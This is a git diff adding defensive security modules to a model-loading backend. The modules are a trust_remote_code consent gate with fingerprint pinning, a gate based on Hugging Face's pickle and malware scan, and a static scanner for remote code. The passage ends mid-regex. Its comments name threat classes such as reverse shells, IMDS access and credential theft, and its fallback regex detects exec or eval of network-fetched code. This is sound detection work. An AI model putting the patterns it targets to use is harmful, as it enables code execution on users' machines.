ONLY the small + ``adapter_config.json`` (metadata; never a weight file) and read the base. Use + this in the gate paths so a remote LoRA base is scanned, not just the adapter. + + Returns the base model id, or ``None`` when the identifier is not a LoRA adapter + or the base cannot be determined (the caller still scans the identifier itself). + + A genuine 404 (no ``adapter_config.json`` / repo absent) is distinguished from a + transient error: the latter is retried once, then logged as a WARNING (a missed + base would be scanned by neither gate), so a network blip does not silently and + invisibly skip the base. + """ + # Local path: reuse the existing directory reader (identical behavior). + try: + if is_local_path(identifier): + return get_base_model_from_lora(identifier) + except Exception: + return get_base_model_from_lora(identifier) + + # Remote repo id: read base_model_name_or_path from adapter_config.json only. + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError, RepositoryNotFoundError + + last_exc = None + for _attempt in range(2): # one retry: a transient blip must not skip the base + try: + cfg_path = hf_hub_download( + identifier, "adapter_config.json", token = hf_token if hf_token else None + ) + except (EntryNotFoundError, RepositoryNotFoundError): + # No adapter_config.json -> not a resolvable LoRA; caller scans the identifier. + return None + except Exception as exc: # transient / auth / network -> retry once + last_exc = exc + continue + try: + with open(cfg_path, "r") as f: + base_model = json.load(f).get("base_model_name_or_path") + except Exception as exc: + logger.warning("Could not parse adapter_config.json for '%s': %s", identifier, exc) + return None + if base_model: + logger.info( + "Detected base model from remote adapter_config.json (%s): %s", + identifier, + base_model, + ) + return base_model # may be None if the key is absent (still a valid answer) + + # Both attempts failed transiently: log loudly -- a missed base is gated by neither gate. + logger.warning( + "Could not resolve remote LoRA base for '%s' after retry (%s); its base, if " + "any, will not be added to the security scan targets.", + identifier, + type(last_exc).__name__ if last_exc else "unknown", + ) + return None + + # Status indicators that appear in UI dropdowns UI_STATUS_INDICATORS = [" (Ready)", " (Loading...)", " (Active)", "↓ "] diff --git a/studio/backend/utils/security/__init__.py b/studio/backend/utils/security/__init__.py new file mode 100644 index 0000000000..b794b1835e --- /dev/null +++ b/studio/backend/utils/security/__init__.py @@ -0,0 +1,107 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Security helpers for the ``trust_remote_code`` boundary. + +Two orthogonal questions: ``trusted_org.is_trusted_org_repo`` (may we AUTO-enable +remote code for this name?) and ``remote_code_scan`` (WHAT would run if the user +opts in?). The load paths try ``trust_remote_code=False`` first and, on the +transformers "requires trust_remote_code" error, scan the repo's ``auto_map``, +surface findings + a pinning fingerprint, and require explicit consent before +retrying with it enabled. Detection (is-vision / version / size) reads raw +``config.json`` and never enters this flow. +""" + +from utils.security.consent import ( # noqa: F401 + RemoteCodeDecision, + evaluate_remote_code_consent, + evaluate_remote_code_consent_for_targets, +) +from utils.security.file_security import ( # noqa: F401 + FileSecurityDecision, + evaluate_file_security, + security_load_subdirs, +) +from utils.security.remote_code_scan import ( # noqa: F401 + CRITICAL, + HIGH, + MEDIUM, + Finding, + RemoteCodeUnscannable, + ScanResult, + remote_code_fingerprint, + repo_remote_code_files, + scan_remote_code_files, +) +from utils.security.trusted_org import is_trusted_org_repo # noqa: F401 + +__all__ = [ + "is_trusted_org_repo", + "scan_remote_code_files", + "repo_remote_code_files", + "RemoteCodeUnscannable", + "remote_code_fingerprint", + "should_block_remote_code", + "evaluate_remote_code_consent", + "evaluate_remote_code_consent_for_targets", + "preflight_remote_code_consent", + "preflight_remote_code_consent_for_targets", + "evaluate_file_security", + "security_load_subdirs", + "FileSecurityDecision", + "RemoteCodeDecision", + "ScanResult", + "Finding", + "CRITICAL", + "HIGH", + "MEDIUM", +] + + +def preflight_remote_code_consent( + model_name: str, + hf_token = None, + *, + trust_remote_code: bool = True, + approved_fingerprint = None, + trusted_org = None, +) -> "RemoteCodeDecision": + """Scan a model's ``auto_map`` for the consent dialog. Thin wrapper over + ``evaluate_remote_code_consent`` defaulting ``trust_remote_code=True`` so the scan + runs whenever the repo declares custom code; the start routes pass the user's real + value + approved fingerprint to enforce consent before any state mutation. + """ + return evaluate_remote_code_consent( + model_name, + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + trusted_org = trusted_org, + ) + + +def preflight_remote_code_consent_for_targets( + targets, + hf_token = None, + *, + trust_remote_code: bool = True, + approved_fingerprint = None, +) -> "RemoteCodeDecision": + """Preflight consent over multiple repos (a LoRA adapter plus its base) scanned as + one combined unit with a single pinning fingerprint. Wrapper defaulting + ``trust_remote_code=True``; the load passes the user's real value + fingerprint. + """ + return evaluate_remote_code_consent_for_targets( + targets, + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + ) + + +def should_block_remote_code(result: "ScanResult") -> bool: + """Recommend blocking by default on CRITICAL/HIGH findings. Advisory only: the + caller still surfaces findings and takes explicit consent. + """ + sev = result.max_severity + return sev in (CRITICAL, HIGH) diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py new file mode 100644 index 0000000000..d75da37971 --- /dev/null +++ b/studio/backend/utils/security/consent.py @@ -0,0 +1,358 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Consent gate for loads that would execute model repo code. + +The LOAD-path counterpart to the capability probes (which read raw config and +never need remote code). A deliberate load calls ``evaluate_remote_code_consent`` +right before passing ``trust_remote_code=True``, and decides by the severity of a +static scan of the repo's ``auto_map`` ``.py``: + +* No ``auto_map`` in any config (model/tokenizer/processor) -> nothing runs; allow. +* CRITICAL (reverse shell, IMDS, credential theft, droppers) -> hard block, never + approvable, even first-party (defends a compromised trusted repo). +* HIGH/MEDIUM (subprocess/exec/eval/network/b64decode, or a large embedded blob) -> + block but user-approvable: the dialog pins approval to the scanned ``fingerprint``. + Applies to EVERY repo; first-party is not a blanket bypass. +* ``auto_map`` present but unscannable (gated/offline/listing failure) -> fail + closed: hard block, since we cannot verify or fingerprint unseen code. + +Hardening + consent, not a sandbox: static patterns are evadable, so subprocess / +venv isolation remains the containment layer. +""" + +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +from utils.security.remote_code_scan import ( + CRITICAL, + HIGH, + MEDIUM, + REMOTE_CODE_CONFIG_FILES, + RemoteCodeUnscannable, + remote_code_fingerprint, + repo_remote_code_files, + scan_remote_code_files, +) + +logger = get_logger(__name__) + + +@dataclass +class RemoteCodeDecision: + """Outcome of the consent gate for one (model, trust_remote_code) load.""" + + model_name: str + has_remote_code: bool + blocked: bool + fingerprint: Optional[str] + max_severity: Optional[str] + findings_summary: str + reason: str + findings: list = field(default_factory = list) # structured [{severity,file,check,evidence}] + approvable: bool = True # False only for CRITICAL (user cannot override) + + def response_payload(self) -> dict: + """Machine-readable detail for the frontend. ``error_kind`` splits a + user-approvable prompt (``remote_code_consent_required``) from a CRITICAL hard + block (``remote_code_blocked``). + """ + return { + "error_kind": ( + "remote_code_consent_required" if self.approvable else "remote_code_blocked" + ), + "model_name": self.model_name, + "has_remote_code": self.has_remote_code, + "approvable": self.approvable, + "fingerprint": self.fingerprint, + "max_severity": self.max_severity, + "findings": self.findings, + "findings_summary": self.findings_summary, + "reason": self.reason, + } + + +# trust_remote_code runs auto_map from ANY of these configs (model/tokenizer/ +# processor), so all of them gate consent (scanning only config.json/tokenizer would +# miss a custom-processor VLM). The list lives in remote_code_scan so the gate and +# scanner stay in lockstep. +_REMOTE_CODE_CONFIG_FILES = REMOTE_CODE_CONFIG_FILES + + +def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]: + """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load + would execute. Reads raw JSON with ``hf_token``; returns None when a config is + unreadable (transient/auth) so the caller treats it as "unknown" and scans, False + when the repo genuinely ships none. GGUF is False (llama.cpp never runs auto_map); + this is the single chokepoint for that rule, shared by validate / scan / worker. + """ + # A direct .gguf FILE loads via llama.cpp (auto_map inert). A bare repo id ending in + # .gguf can still ship safetensors + auto_map, so it falls through to the scan. + if _is_direct_gguf_file_ref(model_name): + return False + configs = _load_remote_code_configs(model_name, hf_token) + if configs is None: + return None + if not any(bool((cfg or {}).get("auto_map")) for cfg in configs): + return False + # auto_map present but a GGUF repo -> inert. Checked only when auto_map exists, so + # normal models skip the extra listing. + if _is_gguf_repo(model_name, hf_token): + logger.debug("Ignoring auto_map for GGUF repo '%s' (llama.cpp never runs it).", model_name) + return False + return True + + +def _is_direct_gguf_file_ref(model_name: str) -> bool: + """Whether ``model_name`` names a specific ``.gguf`` FILE (llama.cpp), not a repo: + a local ``.gguf`` path or a remote ``org/repo/.../file.gguf`` (>= 2 slashes). A bare + ``org/name.gguf`` is a repo id that can still ship safetensors + auto_map, so it + falls through to the scan. + """ + name = model_name or "" + if not name.lower().endswith(".gguf"): + return False + try: + from utils.paths import is_local_path + if is_local_path(name): + return True + except Exception: + pass + # Remote: a file reference is repo_id ("org/name") + filename => >= 2 slashes. + return name.count("/") >= 2 + + +# Weight formats transformers can load (and thus run auto_map for). A repo shipping any +# of these is not GGUF-only -- the user could load it through transformers -- so consent +# still applies even if it also ships a .gguf. +_TRANSFORMERS_WEIGHT_SUFFIXES = ( + ".safetensors", + ".bin", + ".pt", + ".pth", + ".h5", + ".msgpack", + ".onnx", + ".ckpt", +) + + +def _is_gguf_repo(model_name: str, hf_token: Optional[str] = None) -> bool: + """Whether a remote repo loads only through llama.cpp (GGUF weights and NO + transformers-loadable weights), making its config inert. A repo that also ships + transformers weights is NOT GGUF (auto_map could run, so still gate). A listing + failure is treated as "not known-GGUF" (fall through to scan). + """ + try: + from utils.paths import is_local_path + + if is_local_path(model_name): + return False + from huggingface_hub import list_repo_files + + files = [f.lower() for f in list_repo_files(model_name, token = hf_token)] + has_gguf = any(f.endswith(".gguf") for f in files) + has_transformers_weights = any(f.endswith(_TRANSFORMERS_WEIGHT_SUFFIXES) for f in files) + return has_gguf and not has_transformers_weights + except Exception: + return False + + +def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]: + """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as + raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no + auto_map"), or None when one is unreadable (transient/auth) so the caller scans. + The 404-vs-error split matters: real absence is "allow"; unreadable is "unknown". + """ + import json + from pathlib import Path + + try: + from utils.paths import is_local_path, normalize_path + + if is_local_path(model_name): + root = Path(normalize_path(model_name)).expanduser() + configs = [] + for name in _REMOTE_CODE_CONFIG_FILES: + p = root / name + if p.is_file(): + configs.append(json.loads(p.read_text())) + return configs + + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + + configs = [] + for name in _REMOTE_CODE_CONFIG_FILES: + try: + p = hf_hub_download(repo_id = model_name, filename = name, token = hf_token) + except EntryNotFoundError: + continue # genuine 404 -> truly absent + except Exception: + # Transient/auth failure is not "absent" -> fail closed to "unknown" so + # the caller scans (a tokenizer/processor-only auto_map must not slip by). + return None + configs.append(json.loads(Path(p).read_text())) + # Every config was read or a genuine 404 -> an empty list is a definitive + # "no auto_map", not "unknown". + return configs + except Exception as exc: + logger.debug("auto_map check could not read config for %s: %s", model_name, exc) + return None + + +def evaluate_remote_code_consent( + model_name: str, + hf_token: Optional[str] = None, + *, + trust_remote_code: bool, + approved_fingerprint: Optional[str] = None, + trusted_org: Optional[bool] = None, +) -> RemoteCodeDecision: + """Single-repo consent; thin wrapper over the for_targets form. ``trusted_org`` is + accepted for backward compatibility but no longer changes the decision. + """ + return evaluate_remote_code_consent_for_targets( + [model_name], + hf_token, + trust_remote_code = trust_remote_code, + approved_fingerprint = approved_fingerprint, + ) + + +def _fingerprint_target_key(target: str) -> str: + """Namespace key for a target in the combined fingerprint. The pin is over CODE + BYTES, not the repo-id spelling: the scan canonicalizes a cached repo's casing while + workers pass raw input, so lowercase Hub ids (keep local paths as-is) or ``Org/Model`` + vs ``org/model`` would fingerprint differently and reject a valid approval. + """ + try: + from utils.paths import is_local_path + if is_local_path(target): + return target + except Exception: + return target + return target.lower() + + +def evaluate_remote_code_consent_for_targets( + targets, + hf_token: Optional[str] = None, + *, + trust_remote_code: bool, + approved_fingerprint: Optional[str] = None, +) -> RemoteCodeDecision: + """Decide whether a ``trust_remote_code=True`` load may proceed, over every repo whose + code the load would execute. A LoRA load runs adapter AND base code, so all targets + are scanned as ONE unit and pinned by ONE fingerprint over the union of their ``.py`` + -- one approval covers every repo, and a base-only fingerprint can't leave an + adapter's own ``auto_map`` unreviewed. On ``blocked``, the caller surfaces + ``response_payload()`` and retries with ``approved_fingerprint`` if the user accepts. + """ + targets = [t for t in dict.fromkeys(targets) if t] + primary = targets[0] if targets else "" + + if not trust_remote_code: + return RemoteCodeDecision( + primary, False, False, None, None, "", "trust_remote_code disabled" + ) + + # Gather executable .py from every target that ships auto_map. A definitively + # auto_map-free target contributes nothing; an unreadable config is scanned anyway. + # If ANY target's code is present but unscannable, fail the whole load closed. + combined: dict = {} + has_remote_code = False + for target in targets: + if _config_has_auto_map(target, hf_token) is False: + continue + has_remote_code = True + try: + files = repo_remote_code_files(target, hf_token = hf_token) + except RemoteCodeUnscannable: + logger.warning( + "Blocking trust_remote_code load of '%s': remote code present (auto_map) " + "but could not be downloaded and scanned.", + target, + ) + return RemoteCodeDecision( + target, + True, + True, + None, + None, + "Remote code is present (auto_map) but could not be downloaded and " + "scanned. Retry when the repo is reachable and the correct Hugging Face " + "token is set.", + "blocked: remote code could not be scanned", + approvable = False, + ) + # Namespace filenames by (casing-normalized) target so two repos' same-named + # files stay distinct and the pin tracks code, not the repo-id spelling. + target_key = _fingerprint_target_key(target) + for filename, body in files.items(): + combined[f"{target_key}\0{filename}"] = body + + if not has_remote_code: + return RemoteCodeDecision( + primary, False, False, None, None, "", "no auto_map; trust_remote_code is a no-op" + ) + + if not combined: + # auto_map declared but no executable .py (e.g. a GGUF repo's vestigial + # auto_map) -> nothing to run -> allow. + return RemoteCodeDecision( + primary, + False, + False, + None, + None, + "", + "auto_map declared but no executable code present; trust_remote_code is a no-op", + ) + + result = scan_remote_code_files(combined) + fingerprint = remote_code_fingerprint(combined) + sev = result.max_severity + + # CRITICAL is never approvable; a fingerprint pins approval for lower severities only. + approvable = sev != CRITICAL + approved = ( + approvable and approved_fingerprint is not None and approved_fingerprint == fingerprint + ) + + if sev == CRITICAL: + blocked, reason = True, "blocked: scan found CRITICAL patterns" + elif approved: + blocked, reason = False, "approved by fingerprint" + elif sev == HIGH: + # HIGH is user-approvable but must pin the fingerprint via the dialog, for every + # repo including first-party (a compromised trusted repo still needs review). + blocked, reason = True, "blocked: scan found HIGH patterns; approval required" + elif sev == MEDIUM: + # MEDIUM (e.g. a big embedded base64 blob) also pins approval like HIGH, so a + # direct API caller can't run flagged code by just setting trust_remote_code=True. + blocked, reason = True, "blocked: scan found MEDIUM patterns; approval required" + else: + blocked, reason = False, "allowed: no high-risk patterns" + + if blocked: + logger.warning( + "Blocking trust_remote_code load of '%s': scan severity %s (fingerprint %s)", + primary, + sev, + fingerprint[:12], + ) + + return RemoteCodeDecision( + primary, + True, + blocked, + fingerprint, + sev, + result.summary(), + reason, + findings = result.findings_payload(), + approvable = approvable, + ) diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.py new file mode 100644 index 0000000000..466f326f18 --- /dev/null +++ b/studio/backend/utils/security/file_security.py @@ -0,0 +1,368 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Malware / unsafe-file gate for model loads. + +The ``trust_remote_code`` consent gate covers the ``auto_map`` Python vector; this +covers the other one -- a malicious pickle inside a weight file, which executes +during ``from_pretrained`` deserialization even with ``trust_remote_code=False``. +It reads Hugging Face's OWN scan (picklescan + ClamAV) via +``model_info(securityStatus=True).security_repo_status``. METADATA-ONLY: it never +downloads, opens, or unpickles the flagged files. + +Policy: + * Hard block, non-approvable. + * Block whenever ``filesWithIssues`` lists a non-``safe`` level, regardless of + ``scansDone`` (often false even for clean repos). Unknown/future levels fail + CLOSED (block) so Hub schema drift cannot silently allow a bad verdict; only a + small allowlist of clean / not-yet-scanned levels is non-blocking. The sole + fail-open path is an unavailable status (missing field / offline / error). + * Scope to the load-path RCE vector: a root-level (or load-subdir-level), + code-executing file. Inert formats (safetensors / gguf / config / text) and + subdirectory pickles that no root weight-index references are NOT loaded, so + they do not block; an index-referenced shard does, wherever it lives. This + blocks real malware (eicar's root ``*.pkl``/``*.dat``) without false-blocking + repos like ``nvidia/Nemotron-H-8B-Base-8K`` (flagged NeMo pickles under + ``nemo/`` that no index lists). + * No first-party exemption (scoping is by load path/format, not org). + * Local paths are skipped (no Hub scan); a remote ``*.gguf``-named repo is still + scanned so a repo cannot dodge the gate by suffixing its name. +""" + +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +logger = get_logger(__name__) + +# Non-blocking levels: clean or not-yet-finished. Anything else (unsafe/suspicious/ +# malicious or a future label) blocks, so Hub schema drift fails CLOSED. +_NONBLOCKING_LEVELS = frozenset( + {"", "safe", "pending", "scanning", "queued", "unscanned", "error", "unknown", "none"} +) + +# Suffixes that cannot execute code on load (tensor-only safetensors, non-pickle gguf, +# text/markup/images), so a flag on one is never an RCE vector. +_INERT_SUFFIXES = frozenset( + { + ".safetensors", + ".gguf", + ".json", + ".txt", + ".md", + ".rst", + ".yaml", + ".yml", + ".png", + ".jpg", + ".jpeg", + ".gif", + ".webp", + ".svg", + ".bmp", + ".gitattributes", + ".gitignore", + } +) + +# Source files are not deserialized by a weight load; executable repo code runs only +# via auto_map, which is the consent gate's domain. So a flag on a .py is not this +# gate's vector (else a flagged helper/train script would false-block). +_SOURCE_SUFFIXES = frozenset({".py", ".pyc", ".pyx", ".pyi"}) + + +# Root weight-index files. from_pretrained reads these to find sharded weights, so a +# flagged subdir pickle is a load vector iff a root index references it. +_TRANSFORMERS_INDEX_FILES = ( + "pytorch_model.bin.index.json", + "model.safetensors.index.json", + "tf_model.h5.index.json", + "flax_model.msgpack.index.json", +) + + +def _normalize_repo_path(path: str) -> str: + """Strip ``./`` prefixes and normalize separators for repo-relative comparison.""" + p = (path or "").strip().replace("\\", "/") + while p.startswith("./"): + p = p[2:] + return p + + +def _file_suffix(path: str) -> str: + """Lowercase ``.ext`` of the basename, or ``""`` if none.""" + base = _normalize_repo_path(path).rsplit("/", 1)[-1] + return "." + base.rsplit(".", 1)[1].lower() if "." in base else "" + + +def _load_relative_path(norm: str, load_subdirs) -> str: + """``norm`` relative to a ``from_pretrained`` load root. Some loads read from a + snapshot SUBDIRECTORY (Spark-TTS / BiCodec load ``/LLM``), where a file + directly under the subdir is root-level, not nested. Strips the matching load-subdir + prefix, or returns ``norm`` unchanged when it is not under one. + """ + for subdir in load_subdirs or (): + prefix = _normalize_repo_path(subdir).strip("/") + if prefix and norm.startswith(prefix + "/"): + return norm[len(prefix) + 1 :] + return norm + + +def _index_prefixes(load_subdirs) -> tuple: + """Prefixes to look for weight-index files under: repo root plus each load subdir.""" + prefixes = [""] + for subdir in load_subdirs or (): + p = _normalize_repo_path(subdir).strip("/") + if p: + prefixes.append(p + "/") + return tuple(prefixes) + + +def _indexed_shard_paths( + model_name: str, + hf_token: Optional[str], + load_subdirs = (), +): + """Repo-relative weight paths a load could fetch via weight-index files. Returns a + set (empty when the repo ships no index files -- a definitive "nothing sharded"), or + None when the lookup was inconclusive (transient error) so the caller treats a + flagged subdir pickle conservatively. Reads only small JSON indexes, never weights. + Indexes are looked up at the root and each ``load_subdirs`` root, with ``weight_map`` + entries re-prefixed to repo-relative paths. + """ + import json + + try: + from huggingface_hub import hf_hub_download + from huggingface_hub.utils import EntryNotFoundError + except Exception: + return None + + paths: set = set() + inconclusive = False + for prefix in _index_prefixes(load_subdirs): + for filename in _TRANSFORMERS_INDEX_FILES: + try: + index_path = hf_hub_download(model_name, prefix + filename, token = hf_token or None) + except EntryNotFoundError: + continue # definitively absent, not an error + except Exception: + inconclusive = True # transient: an index that might exist could not be read + continue + try: + weight_map = (json.loads(open(index_path).read()) or {}).get("weight_map") or {} + for shard in weight_map.values(): + shard_norm = _normalize_repo_path(str(shard)) + # weight_map paths are relative to the index file's directory. + if prefix and not shard_norm.startswith(prefix): + shard_norm = prefix + shard_norm + paths.add(shard_norm) + except Exception: + inconclusive = True + # Any transient failure -> inconclusive (the shard could be listed only by the index + # we could not read), so fail closed (None) and let the caller block. Ships no index + # files -> EntryNotFoundError for each, empty set, a definitive "nothing sharded". + if inconclusive: + return None + return paths + + +# Two-timeout metadata fetch, mirroring hub.workers.hf_download._retry_metadata_fetch. +_REQUEST_TIMEOUT = 10.0 +_RETRY_TIMEOUT = 20.0 + + +@dataclass +class FileSecurityDecision: + """Outcome of the Hub security scan for one model repo.""" + + model_name: str + blocked: bool + unsafe_files: list = field(default_factory = list) # [{"path", "level"}] + reason: str = "" + + def response_payload(self) -> dict: + """Machine-readable detail merged into the preflight payload the dialog reads.""" + return { + "unsafe_files": self.unsafe_files, + "security_blocked": self.blocked, + "reason": self.reason, + } + + +def security_load_subdirs(model_name: str, hf_token: Optional[str] = None) -> tuple: + """Snapshot subdirectories a load calls ``from_pretrained`` on, for scoping the scan. + Most models load from the root (``()``); Spark-TTS / BiCodec load ``/LLM``, + so ``LLM/`` is a load root for them. Metadata-only (tokenizer special tokens), cached. + """ + try: + from utils.models.model_config import detect_audio_type, load_model_defaults + if detect_audio_type(model_name, hf_token = hf_token) == "bicodec": + return ("LLM",) + # Tokenizer detection can fail (network/gated/unresolved alias); the YAML default + # also pins the audio type, so fall back to it (else a flagged LLM/ pickle is + # treated as an ignored subdir artifact). + if (load_model_defaults(model_name) or {}).get("audio_type") == "bicodec": + return ("LLM",) + except Exception: + pass + return () + + +def _load_scan_target(model_name: str, load_subdirs: tuple) -> tuple: + """Map a load alias to the ``(repo_id, load_subdirs)`` the load actually fetches. The + Spark-TTS / BiCodec alias ``/LLM`` is downloaded by the trainer as + ``unsloth/`` and loaded from ``LLM/``, so scan that repo with ``LLM`` as a + load root (the literal alias 404s and fails open). Everything else is unchanged. + """ + try: + from utils.paths import is_local_path + if is_local_path(model_name): + return model_name, load_subdirs + except Exception: + return model_name, load_subdirs + name = (model_name or "").strip().strip("/") + # Rewrite ONLY a registry-known bicodec alias, never any repo ending in "/LLM" + # (e.g. "evil/LLM" would scan unsloth/evil and fail open on the real repo). + if name.endswith("/LLM") and name.count("/") == 1: + try: + from utils.models.model_config import load_model_defaults + if (load_model_defaults(name) or {}).get("audio_type") == "bicodec": + parent = name[: -len("/LLM")] + return f"unsloth/{parent}", tuple(dict.fromkeys((*load_subdirs, "LLM"))) + except Exception: + pass + return model_name, load_subdirs + + +def _fetch_security_status(model_name: str, hf_token: Optional[str]): + """``security_repo_status`` (a dict) or None if unavailable. Hub metadata only; + retries once on a transient error, then returns None so the caller fails open. + """ + from huggingface_hub import model_info as hf_model_info + + token_arg = hf_token if hf_token else False + last_exc = None + for attempt, timeout in enumerate((_REQUEST_TIMEOUT, _RETRY_TIMEOUT)): + try: + info = hf_model_info( + model_name, + token = token_arg, + securityStatus = True, + timeout = timeout, + ) + return getattr(info, "security_repo_status", None) + except Exception as exc: # network/offline/gated/404/unsupported-client + last_exc = exc + if attempt == 0: + continue + logger.debug( + "HF security scan unavailable for '%s' (%s); failing open.", + model_name, + type(last_exc).__name__ if last_exc else "unknown", + ) + return None + + +def evaluate_file_security( + model_name: str, + hf_token: Optional[str] = None, + *, + load_subdirs = (), +) -> FileSecurityDecision: + """Block a load when HF's security scan flags unsafe serialized files. + + Call UNCONDITIONALLY before any load (independent of trust_remote_code): a malicious + pickle deserializes during ``from_pretrained`` regardless. Metadata-only; fails open + when the scan is unavailable. + + ``load_subdirs`` names subdirs the load calls ``from_pretrained`` on (e.g. ``("LLM",)`` + for Spark-TTS / BiCodec, loading ``/LLM``): a flagged file directly under one + is root-level there and blocks, and an index inside it is honored when scoping shards. + """ + # Scan the repo the load actually fetches, not the literal alias (which 404s and + # fails open): the Spark-TTS "/LLM" alias is really unsloth/ from LLM/. + model_name, load_subdirs = _load_scan_target(model_name, tuple(load_subdirs)) + + # Local paths (including a local .gguf) have no Hub scan. A remote ref is scanned + # even if named "*.gguf", so a repo cannot dodge the scan via its name. + try: + from utils.paths import is_local_path + if is_local_path(model_name): + return FileSecurityDecision(model_name, False, reason = "local path; no Hub scan") + except Exception: + # Cannot classify the path -> do not block on that account. + return FileSecurityDecision(model_name, False, reason = "path check failed; not blocked") + + status = _fetch_security_status(model_name, hf_token) + if not isinstance(status, dict): + return FileSecurityDecision( + model_name, False, reason = "scan unavailable; allowed (fail-open)" + ) + + # Block a non-``safe`` flagged file scoped to the load-path RCE vector (root-level, + # code-executing). Not gated on ``scansDone`` (often false even when clean; a flagged + # file is flagged regardless). Unknown levels fail closed; in-progress/clean do not. + # Subdir pickles and inert formats (safetensors/gguf) are not loaded by + # from_pretrained and do not block. Unavailable status (above) is the only fail-open. + unsafe = [] + skipped = [] # flagged, but not a load-path RCE vector (subdir artifact / inert) + maybe_shard = [] # flagged subdir pickle: a load vector ONLY if a root index lists it + for entry in status.get("filesWithIssues") or []: + if not isinstance(entry, dict): + continue + level = str(entry.get("level", "")).lower() + if level in _NONBLOCKING_LEVELS: + continue + path = entry.get("path", "") + norm = _normalize_repo_path(path) + suffix = _file_suffix(norm) + # Path relative to the load root: a file under a load subdir (e.g. LLM/) is + # root-level there, not nested. + load_rel = _load_relative_path(norm, load_subdirs) + if not norm or suffix in _INERT_SUFFIXES or suffix in _SOURCE_SUFFIXES: + # Inert formats cannot execute on load; source code is the consent gate's + # domain (auto_map), not a deserialization vector. + skipped.append({"path": path, "level": level}) + elif "/" not in load_rel: + unsafe.append({"path": path, "level": level}) # root pickle -> load vector + else: + # Subdir pickle: deserialized only if a weight index references it. + maybe_shard.append({"path": path, "level": level, "norm": norm}) + + if maybe_shard: + indexed = _indexed_shard_paths(model_name, hf_token, load_subdirs) + for m in maybe_shard: + # Block if a root index lists this shard, or if the lookup was inconclusive + # (transient error -> stay conservative). A definitive "no index / not listed" + # stays non-blocking (e.g. NeMo nemo/*.distcp). + if indexed is None or m["norm"] in indexed: + unsafe.append({"path": m["path"], "level": m["level"]}) + else: + skipped.append({"path": m["path"], "level": m["level"]}) + + if not unsafe: + if skipped: + # Flagged files exist, but none the load deserializes (subdir pickle or inert + # format) -> allow, but log them so they stay visible. + logger.info( + "'%s': Hugging Face flagged files, but none are a load-path RCE " + "vector (subdir/inert); allowing the load. Flagged: %s", + model_name, + ", ".join(f"{s['path']}({s['level']})" for s in skipped), + ) + return FileSecurityDecision(model_name, False, reason = "no unsafe files in the load path") + + names = ", ".join(u["path"] for u in unsafe if u["path"]) or "unknown files" + logger.warning( + "Blocking load of '%s': Hugging Face security scan flagged unsafe files (%s).", + model_name, + names, + ) + return FileSecurityDecision( + model_name, + True, + unsafe_files = unsafe, + reason = f"Hugging Face security scan flagged unsafe files: {names}", + ) diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py new file mode 100644 index 0000000000..18e45511d0 --- /dev/null +++ b/studio/backend/utils/security/remote_code_scan.py @@ -0,0 +1,679 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Static scan of a model's ``auto_map`` remote code, for the consent gate. + +When a user opts into ``trust_remote_code``, the repo's ``auto_map`` Python +(``modeling_*.py`` etc.) is scanned BEFORE execution and suspicious patterns are +surfaced to inform consent. A warning aid, not a hard boundary: a determined +attacker can obfuscate past regexes, so the job is to raise the bar and inform the +hash-pinned consent. Containment (subprocess/venv) is separate; execution still +requires opt-in. + +Single source of truth: ``scripts/scan_packages.py`` (the scanner CI runs via +``security-audit.yml``). We import its ``check_py_file`` so the gate inherits every +CI improvement with no drift; its heuristics are deliberately low-false-positive +(combinations flag, not bare ``subprocess``/``eval``). When ``scripts/`` is absent +(stripped install) we fall back to ``_FALLBACK_PATTERNS`` below; a test asserts the +canonical scanner loads in-repo so the fallback never silently takes over. +""" + +from __future__ import annotations + +import hashlib +import importlib.util +import pathlib +import re +import sys +from dataclasses import dataclass, field +from typing import Optional + +from loggers import get_logger + +logger = get_logger(__name__) + +CRITICAL = "CRITICAL" +HIGH = "HIGH" +MEDIUM = "MEDIUM" +_SEVERITY_ORDER = {CRITICAL: 0, HIGH: 1, MEDIUM: 2} + +# Configs that can carry an ``auto_map`` pointing at executable repo ``.py``. +# ``trust_remote_code`` runs code from ANY of these, so scanner and gate must read the +# same set (scanning only config.json/tokenizer would miss a custom-processor VLM). +REMOTE_CODE_CONFIG_FILES = ( + "config.json", + "tokenizer_config.json", + "preprocessor_config.json", + "processor_config.json", + "video_preprocessor_config.json", +) + + +class RemoteCodeUnscannable(Exception): + """The repo's executable code could not be fully fetched/listed to scan. + + Raised (not returned empty) so the gate distinguishes "code PRESENT but unreadable" + (offline/gated/transient/404/listing failure) -> fail CLOSED, from "repo has NO .py" + (empty result) -> trust_remote_code is a no-op -> allow. Conflating them would block + a code-free repo or fail open on code we could not see. + """ + + +# Fallback patterns (used only if scripts/scan_packages.py is absent): (regex, check, +# severity). A flat subset of the canonical scanner so a stripped install still scans; +# the canonical scanner (imported below) supersedes it whenever the repo is present. +_FALLBACK_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = ( + ( + re.compile( + r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)" + r"|\bexec\s*\([^)]*\.(?:text|content|read)\s*\(" + r"|\beval\s*\([^)]*\.(?:text|content|read)\s*\(" + 